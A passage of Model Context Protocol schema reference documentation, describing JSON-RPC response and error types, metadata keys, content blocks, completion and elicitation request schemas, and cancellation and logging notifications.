JSONRPCResponse: JSONRPCResultResponse | JSONRPCErrorResponse
```

A response to a request, containing either the result or error.

```
### `JSONRPCResultResponse`  
interface JSONRPCResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: Result;  
}
```

A successful (non-error) response to a request.

jsonrpc: "2.0"

id: RequestId

result: Result

Common Types

```
### `Annotations`  
interface Annotations {  
  audience?: Role[];  
  priority?: number;  
  lastModified?: string;  
}
```

Optional annotations for the client. The client can use annotations to inform how objects are used or displayed

audience?: Role[]

Describes who the intended audience of this object or data is.

It can include multiple entries to indicate content useful for multiple audiences (e.g., ["user", "assistant"]).

priority?: number

Describes how important this data is for operating the server.

A value of 1 means "most important," and indicates that the data is effectively required, while 0 means "least important," and indicates that the data is entirely optional.

lastModified?: string

The moment the resource was last modified, as an ISO 8601 formatted string.

Should be an ISO 8601 formatted string (e.g., "2025-01-12T15:00:58Z").

Examples: last activity timestamp in an open file, timestamp when the resource was attached, etc.

`Cursor`

Cursor: string

An opaque token used to represent a cursor for pagination.

`EmptyResult`

EmptyResult: [Result](#)

A result that indicates success but carries no data.

`Icon`

```
interface Icon {  
  src: string;  
  mimeType?: string;  
  sizes?: string[];  
  theme?: "light" | "dark";  
}
```

An optionally-sized icon that can be displayed in a user interface.

`src: string`

A standard URI pointing to an icon resource. May be an HTTP/HTTPS URL or a `data:` URI with Base64-encoded image data.

Consumers SHOULD take steps to ensure URLs serving icons are from the same domain as the client/server or a trusted domain.

Consumers SHOULD take appropriate precautions when consuming SVGs as they can contain executable JavaScript.

`contentType?: string`

Optional MIME type override if the source MIME type is missing or generic. For example:

`"image/png"`, `"image/jpeg"`, Or `"image/svg+xml"`.

sizes?: string[]

Optional array of strings that specify sizes at which the icon can be used. Each string should be in WxH format (e.g., "48x48" , "96x96") or "any" for scalable formats like SVG.

If not provided, the client should assume that the icon can be used at any size.

theme?: "light" | "dark"

Optional specifier for the theme this icon is designed for. "light" indicates the icon is designed to be used with a light background, and "dark" indicates the icon is designed to be used with a dark background.

If not provided, the client should assume the icon can be used with any theme.

```
### `InputResponseRequestParams`  
interface InputResponseRequestParams {  
  \_meta: RequestMetaObject;  
  inputResponses?: InputResponses;  
  requestState?: string;  
}
```

Common params for any request.

`_meta`: RequestMetaObject

Inherited from [RequestParams._meta](#)

inputResponses?: InputResponses

requestState?: string

`JSONArray`

JSONArray: [JSONValue](#)[]

`JSONObject`

JSONObject: { [key: string]: [JSONValue](#) }

Type Declaration

- [key: string]: [JSONValue](#)

`JSONValue`

JSONValue: string | number | boolean | null | [JSONObject](#) | [JSONArray](#)

`LogLevel`

LogLevel:

| "debug"


```
| "info"  
| "notice"  
| "warning"  
| "error"  
| "critical"  
| "alert"  
| "emergency"
```

The severity of a log message.

These map to syslog message severities, as specified in RFC-5424:

<https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1>

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

`MetaObject`

MetaObject: Record<string, unknown>

Represents the contents of a `_meta` field, which clients and servers use to attach additional metadata to their interactions.

Certain key names are reserved by MCP for protocol-level metadata; implementations **MUST NOT** make assumptions about values at these keys. Additionally, specific schema definitions may reserve particular names for purpose-specific metadata, as declared in those definitions.

Valid keys have two segments:

Prefix:

- Optional — if specified, **MUST** be a series of *labels* separated by dots (`.`), followed by a slash (`/`).
- Labels **MUST** start with a letter and end with a letter or digit. Interior characters may be letters, digits, or hyphens (`-`).
- Implementations **SHOULD** use reverse DNS notation (e.g., `com.example/` rather than `example.com/`).
- Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use. For example: `io.modelcontextprotocol/` , `dev.mcp/` , `org.modelcontextprotocol.api/` , and `com.mcp.tools/` are all reserved. However, `com.example.mcp/` is **NOT** reserved, as the second label is `example` .

Name:

- Unless empty, **MUST** start and end with an alphanumeric character (`[a-z0-9A-Z]`).
- Interior characters may be alphanumeric, hyphens (`-`), underscores (`_`), or dots (`.`).

See

[General fields: `\_meta`](#) for more details.

```
### `NotificationMetaObject`  
interface NotificationMetaObject {  
  "io.modelcontextprotocol/subscriptionId"?: RequestId;  
  [key: string]: unknown;  
}
```

Extends [MetaObject](#) with additional notification-specific fields. All key naming rules from `MetaObject` apply.

See

- [MetaObject](#) for key naming rules and reserved prefixes.
- [General fields: `\_meta`](#) for more details.

"io.modelcontextprotocol/subscriptionId"?: RequestId

Identifies the subscription stream a notification was delivered on. The server MUST include this key on every notification delivered via a [subscriptions/listen](#) stream, so the client can correlate the notification with the originating subscription. The key is absent on notifications not delivered via a subscription stream (e.g. progress notifications for an in-flight request), which is why it is optional here.

The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream.

```
### `NotificationParams`  
interface NotificationParams {  
  \_meta?: NotificationMetaObject;  
}
```

Common params for any notification.

`_meta?: NotificationMetaObject`

```
### `PaginatedRequestParams`  
interface PaginatedRequestParams {  
  \_meta: RequestMetaObject;  
  cursor?: string;  
}
```

Common params for paginated requests.

► Example: List request with cursor

_meta: RequestMetaObject

Inherited from [RequestParams._meta](#)

cursor?: string

An opaque token representing the current pagination position. If provided, the server should return results starting after this cursor.

`ProgressToken`

ProgressToken: string | number

A progress token, used to associate progress notifications with the original request.

`RequestId`

RequestId: string | number

A uniquely identifying ID for a request in JSON-RPC.

`RequestMetaObject`

```
interface RequestMetaObject {  
  progressToken?: ProgressToken;  
  "io.modelcontextprotocol/protocolVersion": string;  
  "io.modelcontextprotocol/clientInfo"?: Implementation;  
  "io.modelcontextprotocol/clientCapabilities": ClientCapabilities;  
  "io.modelcontextprotocol/logLevel"?: LoggingLevel;  
  [key: string]: unknown;  
}
```

Extends [MetaObject](#) with additional request-specific fields. All key naming rules from `MetaObject` apply.

See

- [MetaObject](#) for key naming rules and reserved prefixes.
- [General fields:](#) [_meta](#) for more details.

progressToken?: ProgressToken

If specified, the caller is requesting out-of-band progress notifications for this request (as represented by [notifications/progress](#)). The value of this parameter is an opaque token that will be attached to any subsequent notifications. The receiver is not obligated to provide these notifications.

"io.modelcontextprotocol/protocolVersion": string

The MCP Protocol Version being used for this request. Required.

For the HTTP transport, this value MUST match the `MCP-Protocol-Version` header; otherwise the server MUST return a `400 Bad Request`. If the server does not support the requested version, it MUST return an [UnsupportedProtocolVersionError](#).

"io.modelcontextprotocol/clientInfo"?: Implementation

Identifies the client software making the request. Clients SHOULD include this field on every request unless specifically configured not to do so.

The [Implementation](#) schema requires `name` and `version`; other fields are optional.

The value is self-reported by the client and is not verified by the protocol. It is intended for display, logging, and debugging. Servers SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for security decisions.

"io.modelcontextprotocol/clientCapabilities": ClientCapabilities

The client's capabilities for this specific request. Required.

Capabilities are declared per-request rather than once at initialization; an empty object means the client supports no optional capabilities. Servers **MUST NOT** infer capabilities from prior requests.

"io.modelcontextprotocol/logLevel"?: LoggingLevel

The desired log level for this request. Optional.

If absent, the server MUST NOT send any [notifications/message](#) notifications for this request. The client opts in to log messages by explicitly setting a level. Replaces the former `logging/setLevel` RPC.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

`RequestParams`

```
interface RequestParams {  
  \_meta: RequestMetaObject;  
}
```

Common params for any request.

`_meta: RequestMetaObject`

```
### `Result`  
interface Result {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  [key: string]: unknown;  
}
```

Common result fields.

_meta?: ResultMetaObject

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

```
### `ResultMetaObject`  
interface ResultMetaObject {  
  "io.modelcontextprotocol/serverInfo"?: Implementation;  
  [key: string]: unknown;  
}
```


Extends [MetaObject](#) with additional result-specific fields. All key naming rules from `MetaObject` apply.

See

- [MetaObject](#) for key naming rules and reserved prefixes.
- [General fields: `\_meta`](#) for more details.

"io.modelcontextprotocol/serverInfo"?: Implementation

Identifies the server software producing the response. Servers SHOULD include this field on every response unless specifically configured not to do so.

The [Implementation](#) schema requires `name` and `version`; other fields are optional.

The value is self-reported by the server and is not verified by the protocol. It is intended for display, logging, and debugging. Clients SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for security decisions.

`ResultType`

ResultType: "complete" | "input_required" | string

Indicates the type of a [Result](#) object, allowing the client to determine how to parse the response.

complete - the request completed successfully and the result contains the final content.

input_required - the request requires additional input and the result contains an [InputRequiredResult](#) object with instructions for the client to provide additional input before retrying the original request.

`Role`

Role: "user" | "assistant"

The sender or recipient of messages and data in a conversation.

Errors

`Error`

```
interface Error {  
  code: number;  
  message: string;  
  data?: unknown;  
}
```

code: number

The error type that occurred.

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

```
### `HEADER_MISMATCH`  
HEADER_MISMATCH: -32020
```

Error code returned when the HTTP headers of a request do not match the corresponding values in the request body, or required headers are missing or malformed.

```
### `HeaderMismatchError`  
interface HeaderMismatchError {  
  jsonrpc: "2.0";  
  id?: RequestId;
```

```
error: Error & { code: -32020 };  
}
```

Returned when a server rejects a request because the values in the HTTP headers do not match the corresponding values in the request body, or because required headers are missing or malformed. For HTTP, the response status code MUST be `400 Bad Request`.

► Example: Header mismatch

jsonrpc: "2.0"

Inherited from [JSONRPCErrorResponse.jsonrpc](#)

id?: RequestId

Inherited from [JSONRPCErrorResponse.id](#)

error: Error & { code: -32020 }

```
### `InternalError`  
interface InternalError {  
  message: string;  
  data?: unknown;  
  code: -32603;  
}
```

A JSON-RPC error indicating that an internal error occurred on the receiver. This error is returned when the receiver encounters an unexpected condition that prevents it from fulfilling the request.

See

[JSON-RPC 2.0 Error Object](#)

► Example: Unexpected error

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

Inherited from [Error.message](#)

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

Inherited from [Error.data](#)

code: -32603

The error type that occurred.

Overrides [Error.code](#)

```
### `InvalidParamsError`  
interface InvalidParamsError {  
  message: string;  
  data?: unknown;  
  code: -32602;  
}
```

A JSON-RPC error indicating that the method parameters are invalid or malformed.

In MCP, this error is returned in various contexts when request parameters fail validation:

- **Tools:** Unknown tool name or invalid tool arguments
- **Prompts:** Unknown prompt name or missing required arguments
- **Pagination:** Invalid or expired cursor values
- **Logging:** Invalid log level
- **Elicitation:** Server requests an elicitation mode not declared in client capabilities
- **Sampling:** Missing tool result or tool results mixed with other content

See

[JSON-RPC 2.0 Error Object](#)

► Example: Unknown tool

- Example: Invalid tool arguments

► Example: Unknown prompt

► Example: Invalid cursor

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

Inherited from [Error.message](#)

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

Inherited from [Error.data](#)

code: -32602

The error type that occurred.

Overrides [Error.code](#)

```
### `InvalidRequestError`  
interface InvalidRequestError {  
  message: string;  
  data?: unknown;  
  code: -32600;  
}
```

A JSON-RPC error indicating that the request is not a valid request object. This error is returned when the message structure does not conform to the JSON-RPC 2.0 specification requirements for a

request (e.g., missing required fields like `jsonrpc` or `method`, or using invalid types for these fields).

See

[JSON-RPC 2.0 Error Object](#)

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

Inherited from [Error.message](#)

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

Inherited from [Error.data](#)

code: -32600

The error type that occurred.

Overrides [Error.code](#)

```
### `MethodNotFoundError`  
interface MethodNotFoundError {  
  message: string;  
  data?: unknown;  
  code: -32601;  
}
```

A JSON-RPC error indicating that the requested method does not exist or is not available.

In MCP, a server returns this error when a client invokes a method the server does not implement — either a genuinely unknown method, or one gated behind a server capability the server did not advertise (e.g., calling `prompts/list` when the `prompts` capability was not advertised).

A request that requires a client capability the client did not declare is signalled instead by [MissingRequiredClientCapabilityError](#) (`-32021`).

See

[JSON-RPC 2.0 Error Object](#)

► Example: Prompts not supported

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

Inherited from [Error.message](#)

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

Inherited from [Error.data](#)

code: -32601

The error type that occurred.

Overrides [Error.code](#)

```
### `MISSING_REQUIRED_CLIENT_CAPABILITY`  
MISSING_REQUIRED_CLIENT_CAPABILITY: -32021
```

Error code returned when a server requires a client capability that was not declared in the request's `clientCapabilities`.

```
### `MissingRequiredClientCapabilityError`  
interface MissingRequiredClientCapabilityError {  
  jsonrpc: "2.0";
```

```
id?: RequestId;  
error: Error & {  
  code: -32021;  
  data: { requiredCapabilities: ClientCapabilities };  
};  
}
```

Returned when processing a request requires a capability the client did not declare in `clientCapabilities`. For HTTP, the response status code MUST be `400 Bad Request`.

- Example: Missing elicitation capability

jsonrpc: "2.0"

Inherited from [JSONRPCErrorResponse.jsonrpc](#)

id?: RequestId

Inherited from [JSONRPCErrorResponse.id](#)

error: Error & { code: -32021; data: { requiredCapabilities: ClientCapabilities }; }

```
### `ParseError`  
interface ParseError {  
  message: string;  
  data?: unknown;  
  code: -32700;  
}
```

A JSON-RPC error indicating that invalid JSON was received by the server. This error is returned when the server cannot parse the JSON text of a message.

See

[JSON-RPC 2.0 Error Object](#)

► Example: Invalid JSON

message: string

A short description of the error. The message SHOULD be limited to a concise single sentence.

Inherited from [Error.message](#)

data?: unknown

Additional information about the error. The value of this member is defined by the sender (e.g. detailed error information, nested errors etc.).

Inherited from [Error.data](#)

code: -32700

The error type that occurred.

Overrides [Error.code](#)

```
### `UNSUPPORTED_PROTOCOL_VERSION`  
UNSUPPORTED_PROTOCOL_VERSION: -32022
```

Error code returned when the request's protocol version is not supported by the server.

```
### `UnsupportedProtocolVersionError`  
interface UnsupportedProtocolVersionError {  
  jsonrpc: "2.0";  
  id?: RequestId;  
  error: Error & {
```

```
code: -32022;  
data: { supported: string[]; requested: string };  
};  
}
```

Returned when the request's protocol version is unknown to the server or unsupported (e.g., a known experimental or draft version the server has chosen not to implement). For HTTP, the response status code MUST be `400 Bad Request`.

► Example: Unsupported protocol version

jsonrpc: "2.0"

Inherited from [JSONRPCErrorResponse.jsonrpc](#)

id?: RequestId

Inherited from [JSONRPCErrorResponse.id](#)

error: Error & { code: -32022; data: { supported: string[]; requested: string }; }

Content

```
### `AudioContent`  
interface AudioContent {  
  type: "audio";  
  data: string;  
  mimeType: string;  
  annotations?: Annotations;  
  \_meta?: MetaObject;  
}
```

Audio provided to or from an LLM.

► Example: `audio/wav` content

type: "audio"

data: string

The base64-encoded audio data.

contentType: string

The MIME type of the audio. Different providers may support different audio types.

annotations?: Annotations

Optional annotations for the client.

`_meta?: MetaObject`

```
### `BlobResourceContents`  
interface BlobResourceContents {  
  uri: string;  
  mimeType?: string;  
  \_meta?: MetaObject;  
  blob: string;  
}
```

► Example: Image file contents

uri: string

The URI of this resource.

Inherited from ResourceContents.uri

contentType?: string

The MIME type of this resource, if known.

Inherited from ResourceContents.contentType

`_meta?: MetaObject`

Inherited from ResourceContents._meta

blob: string

A base64-encoded string representing the binary data of the item.

`ContentBlock`

ContentBlock:

- | [TextContent](#)
- | [ImageContent](#)
- | [AudioContent](#)
- | [ResourceLink](#)
- | [EmbeddedResource](#)

`EmbeddedResource`

```
interface EmbeddedResource {  
  type: "resource";
```

```
resource: TextResourceContents | BlobResourceContents;  
annotations?: Annotations;  
\_meta?: MetaObject;  
}
```

The contents of a resource, embedded into a prompt or tool call result.

It is up to the client how best to render embedded resources for the benefit of the LLM and/or the user.

► Example: Embedded file resource with annotations

type: "resource"

resource: TextResourceContents | BlobResourceContents

annotations?: Annotations

Optional annotations for the client.

`_meta?: MetaObject`

```
### `ImageContent`  
interface ImageContent {  
  type: "image";  
  data: string;  
  mimeType: string;  
  annotations?: Annotations;  
  \_meta?: MetaObject;  
}
```

An image provided to or from an LLM.

► Example: ``image/png`` content with annotations

type: "image"

data: string

The base64-encoded image data.

contentType: string

The MIME type of the image. Different providers may support different image types.

annotations?: Annotations

Optional annotations for the client.

`_meta?: MetaObject`

```
### `ResourceLink`  
interface ResourceLink {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  uri: string;  
  description?: string;  
  mimeType?: string;  
  annotations?: Annotations;  
  size?: number;  
  \_meta?: MetaObject;  
  type: "resource_link";  
}
```

A resource that the server is capable of reading, included in a prompt or tool call result.

Note: resource links returned by tools are not guaranteed to appear in the results of [resources/list](#) requests.

► Example: File resource link

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from [Resource.icons](#)

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from [Resource.name](#)

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from [Resource.title](#)

uri: string

The URI of this resource.

Inherited from [Resource.uri](#)

description?: string

A description of what this resource represents.

This can be used by clients to improve the LLM's understanding of available resources. It can be thought of like a "hint" to the model.

Inherited from [Resource.description](#)

contentType?: string

The MIME type of this resource, if known.

Inherited from [Resource.contentType](#)

annotations?: Annotations

Optional annotations for the client.

Inherited from [Resource.annotations](#)

size?: number

The size of the raw resource content, in bytes (i.e., before base64 encoding or any tokenization), if known.

This can be used by Hosts to display file sizes and estimate context window usage.

Inherited from [Resource.size](#)

`_meta?: MetaObject`

Inherited from [Resource._meta](#)

type: "resource_link"

```
### `TextContent`  
interface TextContent {  
  type: "text";  
  text: string;  
  annotations?: Annotations;  
  \_meta?: MetaObject;  
}
```

Text provided to or from an LLM.

► Example: Text content

type: "text"

text: string

The text content of the message.

annotations?: Annotations

Optional annotations for the client.

`_meta?: MetaObject`

```
### `TextResourceContents`  
interface TextResourceContents {  
  uri: string;  
  mimeType?: string;  
  \_meta?: MetaObject;  
  text: string;  
}
```

► Example: Text file contents

uri: string

The URI of this resource.

Inherited from ResourceContents.uri

contentType?: string

The MIME type of this resource, if known.

Inherited from ResourceContents.contentType

_meta?: MetaObject

Inherited from ResourceContents._meta

text: string

The text of the item. This must only be set if the item can actually be represented as text (not binary data).

completion/complete

```
### `CompleteRequest`  
interface CompleteRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "completion/complete";  
  params: CompleteRequestParams;  
}
```

A request from the client to the server, to ask for completion options.

► Example: Completion request

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "completion/complete"

Overrides [JSONRPCRequest.method](#)

params: CompleteRequestParams

Overrides [JSONRPCRequest.params](#)

```
### `CompleteRequestParams`  
interface CompleteRequestParams {  
  \_meta: RequestMetaObject;  
  ref: PromptReference | ResourceTemplateReference;  
  argument: { name: string; value: string };  
  context?: { arguments?: { [key: string]: string } };  
}
```

Parameters for a `completion/complete` request.

► Example: Prompt argument completion

- ▶ Example: Prompt argument completion with context

_meta: RequestMetaObject

Inherited from [RequestParams._meta](#)

ref: PromptReference | ResourceTemplateReference

```
argument: { name: string; value: string }
```

The argument's information

Type Declaration

- name: string

The name of the argument

- value: string

The value of the argument to use for completion matching.

```
context?: { arguments?: { [key: string]: string } }
```

Additional, optional context for completions

Type Declaration

- `Optional arguments?: { [key: string]: string }`

Previously-resolved variables in a URI template or prompt.

```
### `CompleteResultResponse`
```

```
interface CompleteResultResponse {
```

```
  jsonrpc: "2.0";
```

```
  id: RequestId;
```

```
result: CompleteResult;  
}
```

A successful response from the server for a [completion/complete](#) request.

► Example: Completion result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: CompleteResult

Overrides [JSONRPCResultResponse.result](#)

```
### `CompleteResult`  
interface CompleteResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  completion: { values: string[]; total?: number; hasMore?: boolean };  
  [key: string]: unknown;  
}
```

The result returned by the server for a [completion/complete](#) request.

► Example: Single completion value

- Example: Multiple completion values with more available

_meta?: ResultMetaObject

Inherited from [Result._meta](#)

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from [Result.resultType](#)

completion: { values: string[]; total?: number; hasMore?: boolean }

Type Declaration

- values: string[]

An array of completion values. Must not exceed 100 items.

- Optional total?: number

The total number of completion options available. This can exceed the number of values actually sent in the response.

- Optional hasMore?: boolean

Indicates whether there are additional completion options beyond those provided in the current response, even if the exact total is unknown.

```
### `PromptReference`  
interface PromptReference {  
  name: string;  
  title?: string;  
  type: "ref/prompt";  
}
```

Identifies a prompt.

`name`: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from `BaseMetadata.name`

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

type: "ref/prompt"

```
### `ResourceTemplateReference`  
interface ResourceTemplateReference {  
  type: "ref/resource";  
  uri: string;  
}
```

A reference to a resource or resource template definition.

type: "ref/resource"

uri: string

The URI or URI template of the resource.

elicitation/create

```
### `ElicitRequest`  
interface ElicitRequest {  
  method: "elicitation/create";  
  params: ElicitRequestParams;  
}
```

A request from the server to elicit additional information from the user via the client.

► Example: Elicitation request

method: "elicitation/create"

params: ElicitRequestParams

`ElicitRequestParams`

ElicitRequestParams: [ElicitRequestFormParams](#) | [ElicitRequestURLParams](#)

The parameters for a request to elicit additional information from the user via the client.

`ElicitResult`

interface ElicitResult {

[action](#): "accept" | "decline" | "cancel";

[content](#)?: { [key: string]: string | number | boolean | string[] };

}

The result returned by the client for an [elicitation/create](#) request.

► Example: Input single field

► Example: Input multiple fields

- Example: Accept URL mode (no content)

action: "accept" | "decline" | "cancel"

The user action in response to the elicitation.

- "accept": User submitted the form/confirmed the action
- "decline": User explicitly declined the action
- "cancel": User dismissed without making an explicit choice

```
content?: { [key: string]: string | number | boolean | string[] }
```

The submitted form data, only present when action is `"accept"` and mode was `"form"`. Contains values matching the requested schema. Omitted for out-of-band mode responses.

```
### `BooleanSchema`  
interface BooleanSchema {  
  type: "boolean";  
  title?: string;  
  description?: string;  
  default?: boolean;  
}
```

► Example: Boolean input schema

type: "boolean"

title?: string

description?: string

default?: boolean

```
### `ElicitRequestFormParams`  
interface ElicitRequestFormParams {  
  mode?: "form";  
  message: string;  
  requestedSchema: {  
    $schema?: string;  
    type: "object";  
    properties: { [key: string]: PrimitiveSchemaDefinition };  
    required?: string[];  
  };  
}
```


The parameters for a request to elicit non-sensitive information from the user via a form in the client.

► Example: Elicit single field

- ▶ Example: Elicit multiple fields

mode?: "form"

The elicitation mode.

message: string

The message to present to the user describing what information is being requested.

requestedSchema: { \$schema?: string; type: "object"; properties: { [key: string]:
PrimitiveSchemaDefinition }; required?: string[]; }

A restricted subset of JSON Schema. Only top-level properties are allowed, without nesting.

```
### `ElicitRequestURLParams`  
interface ElicitRequestURLParams {  
  mode: "url";  
  message: string;  
  url: string;  
}
```

The parameters for a request to elicit information from the user via a URL in the client.

- ▶ Example: Elicit sensitive data

mode: "url"

The elicitation mode.

message: string

The message to present to the user explaining why the interaction is needed.

url: string

The URL that the user should navigate to.

`EnumSchema`

EnumSchema:

| [SingleSelectEnumSchema](#)

| [MultiSelectEnumSchema](#)

| [LegacyTitledEnumSchema](#)

`LegacyTitledEnumSchema`

interface LegacyTitledEnumSchema {

[type](#): "string";

[title](#)?: string;

[description](#)?: string;

```
enum: string[];  
enumNames?: string[];  
default?: string;  
}
```

Use [TitledSingleSelectEnumSchema](#) instead. This interface will be removed in a future version.

```
type: "string"
```

title?: string

description?: string

enum: string[]

enumNames?: string[]

(Legacy) Display names for enum values. Non-standard according to JSON schema 2020-12.

default?: string

```
### `MultiSelectEnumSchema`  
MultiSelectEnumSchema:  
  | UntitledMultiSelectEnumSchema  
  | TitledMultiSelectEnumSchema  
### `NumberSchema`  
interface NumberSchema {  
  type: "number" | "integer";  
  title?: string;  
  description?: string;  
  minimum?: number;  
  maximum?: number;  
  default?: number;  
}
```

► Example: Number input schema

type: "number" | "integer"

title?: string

description?: string

minimum?: number

maximum?: number

default?: number

`PrimitiveSchemaDefinition`

PrimitiveSchemaDefinition:

- | [StringSchema](#)
- | [NumberSchema](#)
- | [BooleanSchema](#)
- | [EnumSchema](#)

Restricted schema definitions that only allow primitive types without nested objects or arrays.

`SingleSelectEnumSchema`

SingleSelectEnumSchema:

- | [UntitledSingleSelectEnumSchema](#)
- | [TitledSingleSelectEnumSchema](#)

```
### `StringSchema`  
interface StringSchema {  
  type: "string";  
  title?: string;  
  description?: string;  
  minLength?: number;  
  maxLength?: number;  
  format?: "uri" | "email" | "date" | "date-time";  
  default?: string;  
}
```

► Example: Email input schema

type: "string"

title?: string

description?: string

minLength?: number

maxLength?: number

format?: "uri" | "email" | "date" | "date-time"

default?: string

```
### `TitledMultiSelectEnumSchema`  
interface TitledMultiSelectEnumSchema {  
  type: "array";  
  title?: string;  
  description?: string;  
  minItems?: number;  
  maxItems?: number;  
  items: { anyOf: { const: string; title: string }[] };  
  default?: string[];  
}
```

Schema for multiple-selection enumeration with display titles for each option.

► Example: Titled color multi-select schema

type: "array"

title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

```
items: { anyOf: { const: string; title: string }[] }
```

Schema for array items with enum options and display labels.

Type Declaration

- anyOf: { const: string; title: string }[]

Array of enum options with values and display labels.

default?: string[]

Optional default value.

```
### `TitledSingleSelectEnumSchema`  
interface TitledSingleSelectEnumSchema {  
  type: "string";  
  title?: string;  
  description?: string;  
  oneOf: { const: string; title: string }[];  
  default?: string;  
}
```

Schema for single-selection enumeration with display titles for each option.

► Example: Titled color select schema

type: "string"

title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

```
oneOf: { const: string; title: string }[]
```

Array of enum options with values and display labels.

Type Declaration

- `const: string`

The enum value.

- `title: string`

Display label for this option.

default?: string

Optional default value.

```
### `UntitledMultiSelectEnumSchema`  
interface UntitledMultiSelectEnumSchema {  
  type: "array";  
  title?: string;  
  description?: string;  
  minItems?: number;  
  maxItems?: number;  
  items: { type: "string"; enum: string[] };  
  default?: string[];  
}
```

Schema for multiple-selection enumeration without display titles for options.

- Example: Color multi-select schema

type: "array"

title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

minItems?: number

Minimum number of items to select.

maxItems?: number

Maximum number of items to select.

```
items: { type: "string"; enum: string[] }
```

Schema for the array items.

Type Declaration

- type: "string"
- enum: string[]

Array of enum values to choose from.

```
default?: string[]
```

Optional default value.

```
### `UntitledSingleSelectEnumSchema`  
interface UntitledSingleSelectEnumSchema {  
  type: "string";  
  title?: string;  
  description?: string;  
  enum: string[];  
  default?: string;  
}
```

Schema for single-selection enumeration without display titles for options.

► Example: Color select schema

type: "string"

title?: string

Optional title for the enum field.

description?: string

Optional description for the enum field.

enum: string[]

Array of enum values to choose from.

default?: string

Optional default value.

notifications/cancelled

```
### `CancelledNotification`  
interface CancelledNotification {  
  jsonrpc: "2.0";  
  method: "notifications/cancelled";  
  params: CancelledNotificationParams;  
}
```

This notification is sent by the client to indicate that it is cancelling a request it previously issued.

On stdio, the server also sends this notification, solely to terminate a [subscriptions/listen](#) stream: it references the ID of the `subscriptions/listen` request that opened the stream. Servers MUST NOT use this notification to cancel any other request.

The request SHOULD still be in-flight, but due to communication latency, it is always possible that this notification MAY arrive after the request has already finished.

This notification indicates that the result will be unused, so any associated processing SHOULD cease.

► Example: User-requested cancellation

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/cancelled"

Overrides [JSONRPCNotification.method](#)

params: CancelledNotificationParams

Overrides [JSONRPCNotification.params](#)

```
### `CancelledNotificationParams`  
interface CancelledNotificationParams {  
  \_meta?: NotificationMetaObject;  
  requestId: RequestId;  
  reason?: string;  
}
```

Parameters for a `notifications/cancelled` notification.

- Example: User-requested cancellation

`_meta?: NotificationMetaObject`

Inherited from [NotificationParams._meta](#)

requestId: RequestId

The ID of the request to cancel.

This MUST correspond to the ID of a request the client previously issued.

reason?: string

An optional string describing the reason for the cancellation. This MAY be logged or presented to the user.

notifications/message

```
### `LoggingMessageNotification`  
interface LoggingMessageNotification {  
  jsonrpc: "2.0";  
  method: "notifications/message";  
  params: LoggingMessageNotificationParams;  
}
```

JSONRPCNotification of a log message passed from server to client. The client opts in by setting `"io.modelcontextprotocol/logLevel"` in a request's `_meta`.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

- Example: Log database connection failed

jsonrpc: "2.0"

Inherited from [JSONRPCNotification.jsonrpc](#)

method: "notifications/message"

Overrides [JSONRPCNotification.method](#)

params: [LoggingMessageNotificationParams](#)

Overrides [JSONRPCNotification.params](#)

```
### `LoggingMessageNotificationParams`  
